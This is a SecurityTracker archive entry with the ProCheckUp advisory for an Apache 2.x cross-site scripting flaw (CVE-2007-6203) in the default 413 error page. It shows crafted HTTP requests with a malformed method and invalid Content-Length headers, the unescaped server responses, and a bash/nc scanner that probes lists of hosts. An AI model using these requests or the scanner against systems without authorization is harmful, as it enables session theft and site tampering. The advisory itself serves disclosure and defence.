SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Web Server/CGI)  >   Apache HTTPD Vendors:   Apache Software Foundation
Apache Input Validation Hole in Default HTTP 413 Error Page Permits Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1019030
SecurityTracker URL:  http://securitytracker.com/id/1019030
CVE Reference:   CVE-2007-6203   (Links to External Site)
Updated:  Dec 7 2007
Original Entry Date:  Dec 2 2007
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Version(s): 2.x
Description:   A vulnerability was reported in Apache. A remote user can conduct cross-site scripting attacks.

The server does not properly filter HTML code from user-supplied input before displaying the input as part of an HTTP 413 error page. A remote user can create a specially crafted HTTP method request that, when submitted by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Apache software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

The server will return a '413 Request Entity Too Large' error page when the user submits an invalid length data value.

A demonstration exploit request is provided:

[xss] / HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]

The vendor was notified on November 14, 2007.

Adrian Pastor and Amir Azam of ProCheckUp Ltd. reported this vulnerability.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Apache software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.

The report indicates that as a workaround, the default 413 error page can be disabled by adding the 'ErrorDocument 413' statement to the Apache configuration file.

Vendor URL:  httpd.apache.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Jan 9 2008 (IBM Issues Fix for WebSphere for z/OS) Apache Input Validation Hole in Default HTTP 413 Error Page Permits Cross-Site Scripting Attacks
IBM has issued a fix for WebSphere for z/OS.



 Source Message Contents

Subject:  PR07-37: XSS on Apache HTTP Server 413 error pages via malformed

PR07-37: XSS on Apache HTTP Server 413 error pages via malformed HTTP method


Vulnerability found: 7 November 2007

Vendor contacted: 14 November 2007

Risk factor: N/A 

The reason why we didn't consider this vulnerability a security risk is because the attacker needs to force the victim's browser to
 submit a malformed HTTP method. 

Header injection has been demonstrated to be possible using Flash [1] [2], but might be dependent on vulnerable Flash plugins.

A relevant example published in the past is exploiting the Apache 'Expect' XSS [3] (CVE-2006-3918) using flash [4].

However, in this case we need to spoof the HTTP METHOD to a specially-crafted value.


Description: 

It is possible to cause Apache HTTP server to return client-supplied scripting code by submitting a malformed HTTP method which would
 actually carry the payload (i.e.: malicious JavaScript) and invalid length data in the form of either of the following:

 Two 'Content-length:' headers equals to zero. i.e.: "Content-Length: 0[LF]Content-Length: 0"
 One 'Content-length:' header equals to two values. i.e.: "Content-length: 0, 0"
 One 'Content-length:' header equals to a negative value. i.e.: "Content-length: -1"
 One 'Content-length:' header equals to a large value. i.e.: "Content-length: 9999999999999999999999999999999999999999999999"


Apache 2.X returns a '413 Request Entity Too Large' error, when submitting invalid length data. When probing for XSS on the error
 page returned by the server we have 3 possible string vectors:

 The 'Host:' header
 The URL
 The HTTP method

If we probe for XSS using the 'Host:' header, Apache correctly filters the angle brackets and replaces them with HTML entities:

REQUEST:

GET / HTTP/1.1
Host: <BADCHARS>
Connection: close
Content-length: -1
[LF]
[LF]


SERVER'S REPONSE:

HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:40:19 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at &lt;badchars&gt; Port 80</address>
</body></html>


Notice that '<BADCHARS>' gets replaced with '&lt;badchars&gt;'

If we probe for XSS using the URL, Apache ALSO correctly filters the angle brackets and replaces them with HTML entities:

REQUEST:

GET /<BADCHARS>/ HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]


SERVER'S RESPONSE:

HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:41:17 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/&lt;BADCHARS&gt;/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>


Again, '<BADCHARS>' gets replaced with '&lt;badchars&gt;'


However, if we probe for XSS using a malformed HTTP method, the angle brackets are NOT replaced with HTML entities:


REQUEST:

<BADCHARS> / HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]


SERVER'S RESPONSE:

HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:42:46 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with <BADCHARS> requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>



The following script could be used to audit your network for vulnerable web servers:

#!/bin/bash
# PR07-37-scan
if [ $# -ne 1 ]
then
        echo "$0 <hosts-file>"
        exit
fi

for i in `cat $1`
do

if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection: close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep
 -i '<PROCHECKUP>' > /dev/null
then
        echo "$i is VULNERABLE!"
fi

done


Vulnerability successfully tested on (banners extracted from server headers):

Server: Apache/2.0.46 (Red Hat)
Server: Apache/2.0.51 (Fedora)
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g
Server: Apache/2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1 DAV/2
Server: Apache/2.2.4 (Linux/SUSE)


Note: other versions might also be vulnerable.


Consequences: 

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.
 session IDs) to unauthorised third parties provided that a web browser is tricked to submit a malformed HTTP method.


Workaround:

Disable Apache's default 413 error pages by adding   'ErrorDocument 413' statement to the Apache config file.


References:

http://www.procheckup.com/Vulnerability_2007.php

[1] "Forging HTTP request headers with Flash"
http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html

[2] "HTTP Header Injection Vulnerabilities in the Flash Player Plugin"
http://download2.rapid7.com/r7-0026/

[3] "Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1"
http://www.securityfocus.com/archive/1/433280

[4] "More Expect Exploitation In Flash"
http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-flash/


Credits: Adrian Pastor and Amir Azam of ProCheckUp Ltd (www.procheckup.com).

Special thanks go to Amit Klein and Joe Orton for providing such valuable feedback.

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC